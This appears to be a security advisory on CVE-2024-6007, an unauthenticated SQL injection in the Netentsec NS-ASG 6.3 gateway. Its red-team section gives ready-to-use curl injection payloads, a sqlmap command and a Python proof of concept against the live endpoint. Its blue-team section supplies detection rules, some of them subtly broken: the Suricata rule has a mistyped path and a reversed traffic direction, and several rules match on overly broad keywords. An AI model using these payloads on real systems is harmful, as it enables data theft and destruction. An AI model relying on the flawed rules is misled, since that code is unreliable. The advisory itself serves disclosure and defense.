CVE-2024-6007

Executive Summary

CVE-2024-6007 is a critical SQL injection vulnerability discovered in the Netentsec NS-ASG Application Security Gateway version 6.3. The flaw resides in the /protocol/iscgwtunnel/deleteiscgwrouteconf.php file, where the messagecontent parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to complete database compromise, data exfiltration, and further lateral movement within the network. The vendor has been contacted but has not responded, leaving the product in an unpatched state. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary network security appliance (Netentsec NS-ASG). The risk is primarily to organizations that have deployed this appliance in their network perimeter.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the database are in the same security boundary.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete database records.
• Availability Impact: High (A:H) – Potential to disrupt database services.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using the affected product.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the deleteiscgwrouteconf.php script. The application likely constructs a SQL query by directly concatenating the user-supplied messagecontent parameter without proper sanitization or parameterized queries.

Vulnerable Code Flow (Hypothetical):

1. The script receives a POST or GET request with the messagecontent parameter.
2. The value is directly embedded into a SQL DELETE or SELECT statement, e.g.:

   $id = $_REQUEST['messagecontent'];
   $sql = "DELETE FROM iscgw_route_conf WHERE id = '$id'";
   $result = mysqli_query($conn, $sql);
   

3. An attacker can inject a single quote (') to break out of the string context and append malicious SQL.

Example Injection:

messagecontent=1' OR '1'='1' -- -

This would result in the query:

DELETE FROM iscgw_route_conf WHERE id = '1' OR '1'='1' -- -'

This deletes all rows in the table. More sophisticated payloads can be used for UNION-based data extraction or time-based blind injection.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the secure alternative.

Vulnerable Code (PHP):

<?php
$id = $_REQUEST['messagecontent'];
$sql = "DELETE FROM iscgw_route_conf WHERE id = '$id'";
$result = mysqli_query($conn, $sql);
?>

Patched Code (Secure):

<?php
$id = $_REQUEST['messagecontent'];
$stmt = $conn->prepare("DELETE FROM iscgw_route_conf WHERE id = ?");
$stmt->bind_param("s", $id);
$stmt->execute();
?>

The secure version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Netentsec NS-ASG 6.3 appliance (or a lab VM).
• Network access to the appliance's web interface.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://<target>/protocol/iscgwtunnel/deleteiscgwrouteconf.php"
   

2. Test for SQL injection:

   curl "http://<target>/protocol/iscgwtunnel/deleteiscgwrouteconf.php?messagecontent=1'"
   

   If the response contains a database error (e.g., You have an error in your SQL syntax), the endpoint is vulnerable.

3. Extract database version (UNION-based):

   curl "http://<target>/protocol/iscgwtunnel/deleteiscgwrouteconf.php?messagecontent=1' UNION SELECT @@version,2,3-- -"
   

4. Extract table names:

   curl "http://<target>/protocol/iscgwtunnel/deleteiscgwrouteconf.php?messagecontent=1' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"
   

5. Automated exploitation with sqlmap:

   sqlmap -u "http://<target>/protocol/iscgwtunnel/deleteiscgwrouteconf.php?messagecontent=1" --batch --dbs
   

PoC Code (Python):

import requests

target = "http://<target>/protocol/iscgwtunnel/deleteiscgwrouteconf.php"
payload = "1' UNION SELECT @@version,2,3-- -"
params = {"messagecontent": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection & Response:

1. Monitor for SQL injection patterns in web logs:

   • Look for requests containing ', OR, UNION, SELECT, --, #, /* in the messagecontent parameter.
   • Example log entry:

     192.168.1.100 - - [10/Oct/2024:12:34:56 +0000] "GET /protocol/iscgwtunnel/deleteiscgwrouteconf.php?messagecontent=1'%20OR%20'1'%3D'1 HTTP/1.1" 200 1234
     

2. Block malicious IPs:

   • Use a Web Application Firewall (WAF) to block requests containing SQL injection patterns.
   • Example ModSecurity rule:

     SecRule ARGS:messagecontent "@detectSQLi" "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
     

3. Network segmentation:

   • Isolate the NS-ASG appliance in a separate VLAN with strict access controls.
   • Limit outbound database connections to only necessary hosts.

4. Honeypot:

   • Deploy a fake endpoint mimicking the vulnerable script to capture attacker behavior.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /protocol/iscgwtunnel/deleteiscgwrouteconf.php with unusual parameters.
• SQL error messages in HTTP responses (e.g., You have an error in your SQL syntax).
• Outbound database connections from the NS-ASG appliance to unexpected IPs.

File IOCs:

• Modified or new files in the web root (e.g., webshells).
• Suspicious entries in the appliance's access logs.

Behavioral IOCs:

• Unusual database queries (e.g., UNION SELECT, LOAD_FILE, INTO OUTFILE).
• Unexpected deletion or modification of database records.

Detection Engineering

YARA Rule

rule CVE_2024_6007_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-6007"
        author = "Valters IT"
        date = "2024-10-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6007"
    strings:
        $s1 = "messagecontent=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "1=1" nocase
        $s6 = "deleteiscgwrouteconf.php" nocase
    condition:
        all of ($s1, $s6) and 1 of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-6007 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against Netentsec NS-ASG
author: Valters IT
date: 2024/10/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6007
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "messagecontent="
            - "deleteiscgwrouteconf.php"
    keywords:
        - "UNION"
        - "SELECT"
        - "OR"
        - "1=1"
        - "'"
    condition: selection and keywords
falsepositives:
    - Legitimate use of the parameter with special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-6007 SQL Injection Attempt";
    flow:to_server,established;
    content:"/protocol/iscgw tunnel/deleteiscgwrouteconf.php"; http_uri;
    content:"messagecontent="; http_uri;
    pcre:"/(UNION|SELECT|OR|1=1|%27)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the appliance: If possible, disconnect the NS-ASG from the network until a patch is available.
2. Apply virtual patching: Use a WAF to block SQL injection attempts targeting the vulnerable endpoint.
3. Monitor logs: Actively monitor for exploitation attempts using the provided detection rules.

Long-term Actions:

1. Contact vendor: Continue to pressure Netentsec for a security patch.
2. Replace the appliance: Consider migrating to a supported alternative with a proven security track record.
3. Code review: If you have access to the source code, implement parameterized queries as shown in the patched code example.

Workaround:

• If the appliance cannot be isolated, restrict access to the vulnerable endpoint using firewall rules:

  iptables -A INPUT -p tcp --dport 80 -m string --string "/protocol/iscgwtunnel/deleteiscgwrouteconf.php" --algo bm -j DROP
  

Valters IT
Securing Digital Frontiers